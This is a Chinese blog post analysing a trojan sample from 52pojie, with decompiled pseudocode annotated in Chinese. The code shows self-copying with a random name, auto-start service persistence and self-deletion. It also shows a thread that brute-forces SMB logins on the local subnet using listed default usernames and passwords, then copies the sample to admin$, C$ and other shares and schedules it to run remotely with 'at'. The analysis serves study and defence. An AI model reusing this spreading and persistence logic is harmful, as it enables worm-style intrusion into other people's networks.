版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/qq_33528164/article/details/89762986
序言
在吾爱破解上面找的一个, 练习用的, 本篇文章分析第一个线程的作用.
WinMain
int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
struct WSAData WSAData; // [sp+0h] [bp-1A0h]@1
SERVICE_TABLE_ENTRYA ServiceStartTable; // [sp+190h] [bp-10h]@2
int v7; // [sp+198h] [bp-8h]@2
int v8; // [sp+19Ch] [bp-4h]@2
WSAStartup(MAKEWORD(2,2), &WSAData); // 初始化
if ( sub_405A52() ) // 从注册表中, 查看是否存在此服务
{
v7 = 0;
v8 = 0;
ServiceStartTable.lpServiceName = "Ghijkl Nopqrstu Wxy";
ServiceStartTable.lpServiceProc = (LPSERVICE_MAIN_FUNCTIONA)sub_40561A;
StartServiceCtrlDispatcherA(&ServiceStartTable);
}
else
{
sub_405B6E("Ghijkl Nopqrstu Wxy", (int)"Ghijkl Nopqrstu Wxyabcde Ghij", "Ghijklmn Pqrstuvwx Abcdefg Ijklmnop Rst");
}
return 0;
}
sub_405B6E
-
- 获取函数地址
v3 = LoadLibraryA("ADVAPI32.dll");
RegCloseKey = GetProcAddress(v3, "RegCloseKey");
v4 = LoadLibraryA("ADVAPI32.dll");
OpenSCManagerA = GetProcAddress(v4, "OpenSCManagerA");
v5 = LoadLibraryA("ADVAPI32.dll");
OpenServiceA = GetProcAddress(v5, "OpenServiceA");
v6 = LoadLibraryA("ADVAPI32.dll");
CloseServiceHandle = GetProcAddress(v6, "CloseServiceHandle");
v7 = LoadLibraryA("KERNEL32.dll");
CopyFileA = GetProcAddress(v7, "CopyFileA");
v8 = LoadLibraryA("ADVAPI32.dll");
RegSetValueExA = GetProcAddress(v8, "RegSetValueExA");
v9 = LoadLibraryA("ADVAPI32.dll");
StartServiceA = GetProcAddress(v9, "StartServiceA");
v10 = LoadLibraryA("ADVAPI32.dll");
RegOpenKeyA = GetProcAddress(v10, "RegOpenKeyA");
v11 = LoadLibraryA("ADVAPI32.dll");
UnlockServiceDatabase = GetProcAddress(v11, "UnlockServiceDatabase");
v12 = LoadLibraryA("ADVAPI32.dll");
ChangeServiceConfig2A = GetProcAddress(v12, "ChangeServiceConfig2A");
v13 = LoadLibraryA("ADVAPI32.dll");
CreateServiceA = GetProcAddress(v13, "CreateServiceA");
v14 = LoadLibraryA("ADVAPI32.dll");
LockServiceDatabase = GetProcAddress(v14, "LockServiceDatabase");
GetModuleFileNameA(0u, &Filename, 0x104u);
GetWindowsDirectoryA(&Buffer, 0x104u);
bufferLength = strlen(&Buffer);
- 2 . 拷贝正在执行的
EXE
到系统目录, 一般为C:\Windows\System32
if ( strncmp(&Buffer, &Filename, bufferLength) )// 拷贝文件到系统目录
{
v16 = sub_406C30(0x1Au) + 'a';
v17 = sub_406C30(0x1Au) + 'a';
v18 = sub_406C30(0x1Au) + 'a';
v19 = sub_406C30(0x1Au) + 'a';
v20 = sub_406C30(0x1Au) + 'a';
v21 = sub_406C30(0x1Au);
wsprintfA(&Source, "%c%c%c%c%c%c.exe", v21 + 'a', v20, v19, v18, v17, v16); //生成随机文件名
strcat(&Buffer, "\\");// 连接
strcat(&Buffer, &Source);
((void (__stdcall *)(CHAR *, CHAR *, _DWORD))CopyFileA)(&Filename, &Buffer, 0); // 复制
memset(&Filename, 0, 0x104u);
strcpy(&Filename, &Buffer);
dword_409638 = 1;
}
-
- 创建服务
v93 = ((int (__stdcall *)(int, char *, int, signed int, signed int, MACRO_SERVICE_BOOT, signed int, CHAR *, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD))CreateServiceA)(
v22, // OpenSCManagerA返回的对象
a1, // a1 = Ghijkl Nopqrstu Wxy , lpServiceName
a2, // a2 = Ghijkl Nopqrstu Wxyabcde Ghij, lpDisplayName
0xF01FF,
0x110, // SERVICE_INTERACTIVE_PROCESS | SERVICE_WIN32_OWN_PROCESS
SERVICE_AUTO_START,
1, // SERVICE_ERROR_NORMAL
&Filename, // 恶意文件
0,
0,
0,
0,
0);
-
- 填充注册表中创建服务
Ghijkl Nopqrstu Wxy
的Description
和FailureAction
- 填充注册表中创建服务
((void (__stdcall *)(int, signed int, const CHAR **))ChangeServiceConfig2A)(v93, 1, &v85);// v85 = "Ghijklmn Pqrstuvwx Abcdefg Ijklmnop Rst"
// BOOL ChangeServiceConfig2A(
// SC_HANDLE hService,
// DWORD dwInfoLevel, 1 = SERVICE_CONFIG_DESCRIPTION
// LPVOID lpInfo
// );
((void (__stdcall *)(int, signed int, int *))ChangeServiceConfig2A)(v93, 2, &v61);// v61 = 0x15180
// BOOL ChangeServiceConfig2A(
// SC_HANDLE hService,
// DWORD dwInfoLevel, 2 = SERVICE_CONFIG_FAILURE_ACTIONS
// LPVOID lpInfo
// );
-
- 开启服务, 并删除文件
GetModuleFileNameA(0, &Filename, 0x104u);
GetShortPathNameA(&Filename, &Filename, 0x104u);
GetEnvironmentVariableA("COMSPEC", &Buffer, 0x104u);// buffer pointers command line interpreter
lstrcatA(&v8, "/c del ");
lstrcatA(&v8, &Filename);
lstrcatA(&v8, " > nul");
pExecInfo.lpVerb = &v18; // open
pExecInfo.lpFile = &Buffer; // C:\Windows\System32\cmd.exe
pExecInfo.cbSize = 0x3C;
pExecInfo.hwnd = 0;
v18 = 'O';
v19 = 'p';
v20 = 'e';
v21 = 'n';
v22 = 0;
pExecInfo.lpParameters = &v8; // /c del fileName.exe > nul
pExecInfo.lpDirectory = 0;
pExecInfo.nShow = 0;
pExecInfo.fMask = 0x40;
if ( ShellExecuteExA(&pExecInfo) )
{
SetPriorityClass(pExecInfo.hProcess, 0x40u);
v1 = GetCurrentProcess();
SetPriorityClass(v1, 0x100u);
v2 = GetCurrentThread();
SetThreadPriority(v2, 15);
SHChangeNotify(SHCNE_DELETE, SHCNF_PATH, &Filename, 0);//
// void SHChangeNotify( , 修改注册表后需要执行一下SHChangeNotify
// LONG wEventId,
// LPCVOID dwItem1,
// LPCVOID dwItem2
// );
result = 1;
}
第一个线程(0x402DD5)
总体分析: 获取本机IP, 并尝试通过爆破用户名、密码向局域网内其他主机传播.
-
- 观察
//用户名
v43 = "administrator";
v44 = "test";
v45 = "admin";
v46 = "guest";
v47 = "alex";
v48 = "home";
v49 = "love";
.......
//密码
v14 = &dword_409644;
v15 = "password";
v16 = "111";
v17 = "123456";
v18 = "qwerty";
v19 = "test";
v20 = "abc123";
......
-
- 获取本机IP
gethostname(name, 0x80) // 获取本机主机名
gethostbyname(name); //获取本机IP
sprintf(&Dest, "%d.%d.%d.%d", v66, v67, v68, 0);// sprintf(,,,,,,1) 生成IP地址, 后面分析, 该木马并没有遍历整个局域网去传播, 只向*.*.*.1传播
-
- 遍历用户名和密码
// 死循环
while ( 1 )
{
dword_409624 = 0;
memset(&Dest, 0, 0x80u);
sprintf(&Dest, "%d.%d.%d.%d", v66, v67, v68, 0);// sprintf(,,,,,,1)
if ( "administrator" )
{
username = (int *)&v43;
do
{
if ( &dword_409644 )
{
password = (LPCSTR *)&v14;
do
{
Sleep(0xC8u);
sub_402AD0((int)&Dest, *username, *password);
++password; //遍历密码
}
while ( *password );
}
++username; //遍历用户名
}
while ( *username );
}
dword_40961C = 1;
}
sub_402AD0
((void (__stdcall *)(NETRESOURCE *, LPCSTR, int, _DWORD))WNetAddConnection2A)(&v22, password, username, 0); //尝试连接
if ( WNetAddConnection2A ) //感觉这个地方有问题, WNetAddConnection2A与GetProc有关, 而不是连接成功不成功
{
sub_402A92();
Sleep(0xC8u);
memset(&Dest, 0, 0x404u);
sprintf(&Dest, "\\\\%s\\admin$\\g1fd.exe", IPAddr);
((void (__stdcall *)(char *, const char *))lstrcpyA)(&v16, "admin$\\");
v6 = sub_402A92(); // Full Path fileName
if ( ((int (__stdcall *)(CHAR *, char *, _DWORD))CopyFileA)(v6, &Dest, 0)
|| (memset(&Dest, 0, 0x404u),
sprintf(&Dest, "\\\\%s\\C$\\NewArean.exe", IPAddr),
((void (__stdcall *)(_DWORD, const char *))lstrcpyA)(&v16, "C:\\g1fd.exe"),
v7 = sub_402A92(),
((int (__stdcall *)(CHAR *, char *, _DWORD))CopyFileA)(v7, &Dest, 0))
|| (memset(&Dest, 0, 0x404u),
sprintf(&Dest, "\\\\%s\\D$\\g1fd.exe", IPAddr),
((void (__stdcall *)(_DWORD, const char *))lstrcpyA)(&v16, "D:\\g1fd.exe"),
v8 = sub_402A92(),
((int (__stdcall *)(_DWORD, _DWORD, _DWORD))CopyFileA)(v8, &Dest, 0))
|| (memset(&Dest, 0, 0x404u),
sprintf(&Dest, "\\\\%s\\E$\\g1fd.exe", IPAddr),
((void (__stdcall *)(_DWORD, const char *))lstrcpyA)(&v16, "E:\\g1fd.exe"),
v9 = sub_402A92(),
((int (__stdcall *)(_DWORD, _DWORD, _DWORD))CopyFileA)(v9, &Dest, 0)) )
{
GetLocalTime(&SystemTime);
memset(&Dest, 0, 0x404u);
sprintf(&Dest, "at \\\\%s %d:%d %s", IPAddr, SystemTime.wHour, SystemTime.wMinute + 2, &v16);
WinExec(&Dest, 0); //远程执行
dword_409624 = 1;
Sleep(0x7D0u);
}
else
{
memset(&Dest, 0, 0x404u);
sprintf(&Dest, "\\\\%s\\F$\\g1fd.exe", IPAddr);
((void (__stdcall *)(char *, const char *))lstrcpyA)(&v16, "F:\\g1fd.exe");
v10 = sub_402A92();
((void (__stdcall *)(CHAR *, char *, _DWORD))CopyFileA)(v10, &Dest, 0);
}
result = 0;
}
else
{
result = 1;
}